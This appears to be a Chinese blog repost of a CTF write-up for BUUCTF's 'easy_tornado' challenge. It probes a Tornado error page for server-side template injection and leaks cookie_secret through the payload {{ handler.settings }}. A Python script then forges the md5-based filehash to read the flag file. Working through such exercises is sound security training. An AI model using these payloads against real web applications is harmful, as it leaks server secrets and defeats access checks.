BUUCTF:[护网杯 2018]easy_tornado

打开可以看见给了三个文件
在这里插入图片描述
分别点进去看看有什么
1)/flag.txt
url:
file?filename=/flag.txt&filehash=0310b209310feeee81b590e6b1a06581
在这里插入图片描述
flag在fllllllllllllag文件里面

2)/welcome.txt
url:
file?filename=/welcome.txt&filehash=4ec415e5ca7fc316da8d2d358d7f621b

在这里插入图片描述
3)/hints.txt
url:
file?filename=/hints.txt&filehash=fbf03ce458319aa90b7521c6143c8fcd
在这里插入图片描述
从给出的界面来看:
flag在md5(cookie_secret+md5(filename))文件中
url中的filehash是md5(cookie_secret+md5(filename))
可以构造payload:

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

因此我们需要先拿到cookie_secret

又因为flag在fllllllllllllag文件里

?filename=fllllllllllllag

所以我们直接测试一下,过程中发现还有一个Error界面
在这里插入图片描述

由welcome.txt页面联想到render函数,可能会是SSTI模板注入

render函数介绍:

https://blog.csdn.net/qq78827534/article/details/80792514

尝试模版注入
msg=1
在这里插入图片描述
msg={{0^1}}
在这里插入图片描述
页面进行了运算,再试试
msg={{3*3}}
在这里插入图片描述
页面出现ORZ(但并不是cookie)尝试除和减操作符也是返回ORZ,说明是操作符被过滤了
阅读Tornado官方文档,发现Tornado框架的附属文件handler.settings中存在cookie_secret

https://www.tornadoweb.org/en/latest/guide/templates.html#template-syntax

扫描二维码关注公众号,回复: 11612358 查看本文章

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings
构造:

error?msg={{ handler.settings }}

在这里插入图片描述
拿到cookie_secret

编写python脚本:

import hashlib

def md5(s):
	md5 = hashlib.md5()
	md5.update(s.encode('utf-8'))
	return md5.hexdigest()

def filehash():
	filename = '/fllllllllllllag'
	cookie_secret = 'd9a832bd-a334-4515-a8c2-f857e0896599'
	print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
	filehash()

运行后:1f613190d2e0efd54eccfbd1779a35e1

file?filename=/fllllllllllllag&filehash=1f613190d2e0efd54eccfbd1779a35e1

拿到flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_46481239/article/details/106929309